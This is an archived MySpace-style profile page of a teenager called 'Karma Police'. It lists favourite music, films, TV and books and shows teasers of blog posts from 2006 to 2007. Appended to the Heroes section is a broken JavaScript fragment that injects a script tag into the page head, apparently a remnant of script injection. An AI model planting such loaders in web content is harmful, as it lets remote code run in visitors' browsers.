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Karma Police

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About Me

Herro, my name is Kyle (just call me Kyzle, Kylie...whatever), I am 18 years old and I am going to college this fall. Two of my favorite things in the world are music and movies. It basically makes up my whole life...OH! and friends, yeah, friends are good, too. More about me...lets see...Some people don't know this but I kinda have a spilt personality because inside of school I am this shy and quiet kid...but outside of school I am totally different. I am really easy to get along with, though, sometimes I say the wrong thing and I am pretty hard to understand a lot of the time if you can believe it because I talk so fast (hehe, talking without breathing for long periods of time is a no-no). I guess I talk really fast because I was really quiet when I was younger and I am trying to blurt everything out all at once nowadays because I deprived myself of it all these years. I am pretty funny and kind, I am probably the most caring person I know, haha. I always put other people before myself and worry about "me" later. I am usually up for anything spontaneous because I DO like to have fun, too, people. Um...yeah, and just disregard some of the things I say because my humor relies basically on sarcasm and people take me too seriously. I am sarcastic about EVERYTHING! And I am pretty much a pessimist, it's really just ME...(oh, and disregard my ADHD, it sometimes gets the betterOMFG A BIRD!of me).
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My Interests

Music, hanging out with friends, movies, my dogs, books, t.v., volleyball, swimming...just anything fun because I need some excitement once in a while

I'd like to meet:

Anybody famous...mostly a lot of bands...maybe BJA of Green Day, Adriana Lima...just 'cause she's over-the-top gorgeous...(COLONEL SANDERS IS THE AWESOMEST, SHE RULES MY SOUL, LIKE, WHOA! AND SHE ASKED ME TO MENTION ZEPLIN...HER CHILE...HER ANGEL...HER BABEH) 3 3 3 3 From Alessandra...she was here...she told me to write that...lol

Music:

There's a lot so here goes (in no particular order): Green Day, Coldplay, Mindless Self Indulgence, Nirvana, Jack's Mannequin, Taking Back Sunday, Rival Schools, Boston Lonely, Anberlin, Weezer, Spoon, Fall Out Boy, Cartel, Acceptance, Muse, The Academy Is, Three Days Grace, Third Stage, Jack in the Pulpit, Radiohead, Chevelle, Eighteen Visions, Pushmonkey, Sneaker Pimps, Over it, MCR, Lit, Nightmare of You, Amber Pacific, Story of the Year, Mae, The Pink Spiders, Orgy, Sublime, Lustra, Yellowcard, 30 Seconds to Mars, Letter Kills, Alkaline Trio, Placebo, Gatsby's American Dream, The Spill Canvas, Imperial Teen, The Circle Jerks, Smashing Pumpkins, Black Flag, Recover, Athlete, Head Automatica, Dashboard Confessional, The Bloodhound Gang, Hoobastank, Panic! at the Disco, The Format, P.O.D, The Swear, Atticus Fault, Dead Poetic, Arctic Monkeys, Sparta, Phantom Planet, The Exit, Action Action, Avenged Sevenfold, Underoath, The Thrills, The Killers, INXS, Further Seems Forever, Augustana, Death Cab for Cutie, The Used, Oasis, Sum 41, Jimmy Eat World, A.F.I, Plain White T's, American Hi-Fi, The Hush Sound, Fort Minor, Blur, The Bravery, 311, No Doubt, Damien Rice, David Gray, The All-American Rejects, The Clash, The Pixies, Finch, Straylight Run, We Are Scientists, Snow Patrol, Incubus, Trapt, Bayside, Crossfade, Brand New, The Beatles, Linkin Park, Lifehouse, The Offspring, Jet, Hawthorne Heights, Keane, American Football, Red Hot Chili Peppers, The Sex Pistols, NoFx, Better Than Ezra, Shakira, The Like, Ryan Cabrera, Sting, U2, Unwritten Law, The Verve, The Hives, The Strokes, Blink 182, Sugarcult, Switchfoot, Dredg, Something Corporate, Michelle Branch, Thrice, Air, Less Than Jake, Thursday, The New Amsterdams, Journey, Puddle of Mudd, The Starting Line, Onelinedrawing, Vanessa Carlton, Jay-Z, Queens of the Stone Age, Fiona Apple, Auto-Pilot Off, Seether, The Flaming Lips, Breaking Benjamin, Kanye West, Staind, Audioslave, Hole, Garbage, Papa Roach, Jason Mraz, Nickelback, Relient K, Daphne Loves Derby, Count the Stars, Evanescence, Goo Goo Dolls, Saves the Day, Bowling for Soup, New Found Glory, Hot Rod Circuit, Moneen, Northstar, Sheryl Crow, Dishwalla, Duran Duran, The Doors, The Rolling Stones, Foo Fighters, Hidden in Plain View, I Can Make A Mess Like Nobody's Business, Emanuel, Flyleaf, Billy Joel, HIM, Knapsack, Lenny Kravitz, Bad Religion, Dave Matthews Band, Modest Mouse, The Misfits, Rancid, No Use For A Name, Nine Inch Nails, Social Distortion, The Police, Train, The Who, Hopesfall, Mates of State, Senses Fail, Sarah McLachlan, The Jealous Sound, Gorillaz, Bright Eyes, Hoobastank, The White Stripes, Saves the Day, Matchbook Romance, The Get Up Kids, Mudvayne, Motion City Soundtrack, Chronic Future, The Decemberists, Against Me!, The Cranberries, R.E.M, The Pretenders, The Wallflowers, Third Eye Blind, Marcy Playground

Movies:

Watching movies is one of my favorite pastimes: DONNIE DARKO (seriously, one of the best movies I have EVER seen!), 28 DAYS LATER (Such a great movie!), LITTLE MISS SUNSHINE (Yay, great film), A CLOCKWORK ORANGE (Genius movie), PULP FICTION (Anything by Tarrantino is good, this one is just the BEST), SIN CITY (great great movie), A SCANNER DARKLY (Trippy and sweet), CRASH (Great movie, great message), THE VIRGIN SUICIDES (great cinematography, almost made me cry, lol), COLLATERAL (omfg good!), NAPOLEON DYNAMITE ("flippin' sweet!"), THE GOONIES (CHUNK!), CRUEL INTENTIONS (yeah, so what, i liked it!?), THE DESCENT (intense and awesome!), SUPER TROOPERS (too damn funny), FERRIS BUELLER'S DAY OFF (my old teen anthem movie), ALIEN(S) (scary/cool), THE BEACH (just cool), CROUCHING TIGER, HIDDEN DRAGON (spectacular film), FIGHT CLUB (great movie through and through), THE NIGHTMARE BEFORE CHRISTMAS (love that movie), Election, The Breakfast Club, 8mm, Charade, Memento, The Matrix, LOTR 1 2 and 3, Scream 1 2 and 3, Scary Movie 1, Harry Potter movies, ANY James Bond movie, Kill Bill 1 and 2, Spirited Away, House of Flying Daggers, Office Space, Forrest Gump, Ocean's Eleven, The Godfather 1 and 2, Batman Begins, Se7en, City of Angels, Scarface, Blow, The Shawshank Redemption, Kiss the Girls, The Silence of the Lambs, The Birds, Rear Window, Vertigo, Psycho (anything by Hitchcock), The Professional, The Sixth Sense, Unbreakable, The Village (anything by that director M. Nught whatshisname?), The Shining, Interview With the Vampire, Halloween 1 and 2, Saw 1 and 2, Jaws, Dawn of the Dead, Misery, The Ring, The Grudge, The Texas Chainsaw Massacre (remake), Poltergeist, The Others, Fight Club, Back to the Future, Jurassic Park, Indiana Jones movies, The Bourne Identity/Supremacy

Television:

It's Always Sunny in Philadelphia, Lost, Dead Like Me, The Amazing Race, Family Guy, Wonder Years, Aqua Teen Hunger Force, Robot Chicken, American Dad, The Simpsons, MAD TV, Saturday Night Live, MYSTERY SCIENCE THEATER 3000 (my sisters and I watched that every Saturday or Sunday morning!)

Books:

The Perks of Being A Wallflower (only book I ever read in 3 hours straight), The Virgin Suicides, Impulse, A Long Way Down, 100 Years of Solitude, The Catcher in the Rye, A Clockwork Orange, The Great Gatsby, The Stranger (L'etranger), Choke, The Coma, Dante's Inferno, Cat's Cradle, The Dante Club, In the Garden of Good and Evil, At the Mountains of Madness, His Dark Materials Trilogy, LOTR Trilogy, Harry Potter series, Othello, And Then There Were None, The Murder of Roger Ackroyd, Death on the Nile, Beowulf, Brimstone, Great Expectations, A Seperate Peace, The Stand, One Flew Over the Cuckoos Nest, Naked Lunch

Heroes:

Billie Joe Armstrong, enough said, he just ROCKS!!! UM...my friends and other random people i dunno.... .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"

My Blog

A Journey Into Randomness Bordering on Insanity

I sent this to some of my friends already :PHere it is for you all to enjoy :D(You can all fill out the app. at the bottom if you like :D)Ok Ok Ok, so I have a story for you to read though it is very ...
Posted by Karma Police on Fri, 13 Apr 2007 07:42:00 PST

Top 8

..START BZOINK.COM SURVEY CODE>My top 8 myspace friendsTOP 8 MYSPACE FRiENDS1.:Kendra 2.:Kumar (Andrea) 3.:Alessandra, Colonel, The Girl, Sanders 4.:Riham 5.:Vic 6.:Shannon 7.:Laura 8.:John The Questi...
Posted by Karma Police on Thu, 22 Feb 2007 05:17:00 PST

The Perks of Being A Wallflower

This book has changed my life...like, really! AH! Everyone should read it!...
Posted by Karma Police on Wed, 24 Jan 2007 08:17:00 PST

So maybe I killed some hookers and broke a few noses, but hey, I'm from NF!

1. Where will you be when it turns 2007?Top Notch resort and spa baby!2. How did you get the idea for your MySpace name?MSI3. What song are you listening to right now?The Priest and the Matador -SF4. ...
Posted by Karma Police on Mon, 04 Dec 2006 10:15:00 PST

A TOTAL Failure By Design

So...I might not be talking to many people for a while...I am just kinda so friggin' upset right now it's not even funny, though, I don't know why it would be funny in the first place. I guess there ...
Posted by Karma Police on Wed, 16 Aug 2006 11:24:00 PST

Gotta keep 'em S-E-P-A-R-A-T-E-D

Soooo, Nikki and I finally turned 18 Tuesday  The BIG 1-8 happened and I can finally let outa  sigh of relief...I guess...? I dunno why relief but I just sighed and it makes some sense...but...
Posted by Karma Police on Sat, 12 Aug 2006 11:41:00 PST

Bang Old Ladies

XEEROX THINGS!EAT GORGONZOLA CHEESE!DRINK YOUR OVALTINE!GRAZE WITH TEH LLAMAS!MAKE MUDD PIES!DO THE NASTY!BRING IT DOWN TONIGHT!PICK UP AFTER THE MONKEY!TAKE OUT THE MORGWAPS!DIE TRYING!GET A COLONOSC...
Posted by Karma Police on Fri, 28 Jul 2006 07:14:00 PST

JOHN LAURA LYLA (LOOK ANGIE, I'M RANDOM!)

WEEEEEEEEEEEEEEEEEEEEHELLA COOL HOMIES WERD TO YA MOTHA SUPERFLY SCHMEXY WTF FTW FANTASMAGORIC!?!?TX IS FUN CT IS FUN KOHLS IS FUN (WHAT WHAT) RUNNING IN CIRCLES IS FUN INSOMNIACS ARE FUN OLD PEOPLE A...
Posted by Karma Police on Thu, 20 Jul 2006 12:12:00 PST

Recognizing those funneh friends

So, I am bored...and this is what happens when I am bored... Here are just some random things people have said to me over ..   Andrea: YAY EMO PARADE Andrea: wow we are like allergic to life &nbs...
Posted by Karma Police on Tue, 13 Jun 2006 08:44:00 PST

Barbie Play

(this certainly brightens my mood)So, once again, Andrea and I have made something supercalifragilisticexpialidocious! OUR BARBIE PLAY (in works)...just read it, haha.(My entries are green ones...
Posted by Karma Police on Fri, 12 May 2006 05:36:00 PST